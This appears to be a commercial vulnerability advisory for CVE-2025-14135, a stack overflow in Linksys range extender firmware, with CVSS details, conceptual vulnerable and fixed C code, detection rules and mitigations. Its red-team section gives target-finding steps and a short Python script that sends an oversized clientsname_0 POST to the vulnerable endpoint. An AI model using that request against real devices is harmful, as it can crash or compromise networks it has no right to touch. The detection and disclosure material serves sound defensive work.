CVE-2025-14135
Executive Summary
CVE-2025-14135 is a critical, unauthenticated, remote stack-based buffer overflow vulnerability affecting multiple Linksys Wi-Fi Range Extender models, including the RE6500, RE6250, RE6300, RE6350, RE7000, and RE9000. The vulnerability resides in the AP_get_wired_clientlist_setClientsName function within the mod_form.so module. By manipulating the clientsname_0 argument, an attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution on the device. The exploit is publicly available, and the vendor has not responded to disclosure attempts, leaving these devices in an unpatched state. This vulnerability poses a severe risk to network security, as it can be exploited remotely without authentication.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The high CVSS score reflects the ease of exploitation and the potential for full device compromise. An attacker can gain complete control over the affected range extender, potentially using it as a pivot point to attack other devices on the network, exfiltrate data, or disrupt operations.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the mod_form.so shared object, which is part of the web management interface of the affected Linksys range extenders. The function AP_get_wired_clientlist_setClientsName is responsible for processing a list of wired clients and setting their names. It copies user-supplied data from the clientsname_0 POST parameter into a fixed-size stack buffer without proper bounds checking.
When an attacker sends a crafted HTTP POST request to the vulnerable endpoint with an overly long clientsname_0 value, the data overflows the stack buffer, overwriting adjacent memory regions, including the return address and other critical data. This allows the attacker to hijack the program's control flow and execute arbitrary shellcode.
The exploit is publicly available, meaning that threat actors can easily weaponize this vulnerability. The lack of a vendor patch means that all affected devices are currently vulnerable.
Vulnerable vs. Patched Code
Since no patch is available, a direct code comparison is not possible. However, the vulnerable code pattern is a classic unsafe use of a function like strcpy or sprintf without length checking.
Vulnerable Code (Conceptual):
void AP_get_wired_clientlist_setClientsName(char *clientsname_0) {
char buffer[256];
strcpy(buffer, clientsname_0); // No bounds checking
// ... process buffer ...
}
Patched Code (Conceptual):
void AP_get_wired_clientlist_setClientsName(char *clientsname_0) {
char buffer[256];
strncpy(buffer, clientsname_0, sizeof(buffer) - 1); // Bounds checking
buffer[sizeof(buffer) - 1] = '\0';
// ... process buffer ...
}
The patched version would use strncpy or similar safe functions to limit the amount of data copied to the buffer, preventing the overflow.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Linksys range extender (e.g., RE6500) on the same network.
- A machine with Python and
requestslibrary installed. - The public exploit code.
Exploitation Steps:
- Identify the target: Use Shodan or a network scan to find a vulnerable device. The default IP is often
192.168.1.1or192.168.1.240. - Craft the exploit payload: The public exploit sends a POST request to the vulnerable endpoint with a malicious
clientsname_0parameter. - Execute the exploit: Run the exploit script against the target IP.
Example Exploit (Python):
import requests
import sys
target = sys.argv[1]
payload = "A" * 500 # Overflow buffer
url = f"http://{target}/goform/AP_get_wired_clientlist_setClientsName"
data = {"clientsname_0": payload}
try:
r = requests.post(url, data=data, timeout=5)
print(f"Exploit sent to {target}")
except Exception as e:
print(f"Error: {e}")
Note: This is a simplified example. A real exploit would include shellcode to achieve remote code execution.
Blue Team
Detection and Response:
- Network Monitoring: Monitor for HTTP POST requests to
/goform/AP_get_wired_clientlist_setClientsNamewith abnormally longclientsname_0parameters. - Log Analysis: Check device logs for crashes or unexpected reboots, which may indicate a successful overflow.
- Honeypot: Deploy a honeypot mimicking the vulnerable endpoint to detect scanning and exploitation attempts.
- Isolation: Immediately isolate any vulnerable devices from the network until a patch is applied or the device is replaced.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/goform/AP_get_wired_clientlist_setClientsNamewith aclientsname_0parameter exceeding 256 bytes. - Unusual outbound connections from the range extender to unknown IP addresses.
- HTTP POST requests to
- Host IOCs:
- Unexpected processes running on the device (if accessible).
- Modified firmware or configuration files.
- Device logs showing segmentation faults or buffer overflow errors.
- File IOCs:
- Presence of shellcode or malicious binaries in the device's
/tmpdirectory.
- Presence of shellcode or malicious binaries in the device's
Detection Engineering
YARA Rule
rule CVE_2025_14135_Linksys_Overflow {
meta:
description = "Detects exploit attempts for CVE-2025-14135 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14135"
strings:
$s1 = "clientsname_0=" ascii wide nocase
$s2 = "/goform/AP_get_wired_clientlist_setClientsName" ascii wide nocase
$overflow = { 41 41 41 41 41 41 41 41 } // 8 or more 'A's
condition:
$s1 and $s2 and #overflow > 10
}
Sigma Rule
title: CVE-2025-14135 Linksys Range Extender Buffer Overflow Attempt
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable endpoint with a long clientsname_0 parameter.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/goform/AP_get_wired_clientlist_setClientsName'
cs-uri-query|contains: 'clientsname_0='
condition: selection and len(cs-uri-query) > 300
falsepositives:
- Legitimate long client names (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14135 Linksys Range Extender Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/AP_get_wired_clientlist_setClientsName"; http_uri; content:"clientsname_0="; http_client_body; pcre:"/clientsname_0=[A-Za-z0-9]{300,}/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Disconnect affected Linksys range extenders from the network immediately.
- Disable Remote Management: If isolation is not possible, disable remote management and ensure the device is not accessible from the internet.
- Monitor for Exploitation: Use the provided detection rules to monitor for exploitation attempts.
Long-Term Solutions:
- Vendor Patch: Await an official patch from Linksys. Since the vendor has not responded, this may not be forthcoming.
- Device Replacement: Replace the vulnerable devices with models from a vendor that provides timely security updates.
- Network Segmentation: Implement strict network segmentation to limit the blast radius of a compromised device.
- Firmware Updates: Regularly check for and apply firmware updates for all network devices.
Workarounds:
- If the device must remain in use, consider implementing a web application firewall (WAF) rule to block requests with overly long
clientsname_0parameters.
Valters IT
Securing Your Digital Frontier
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.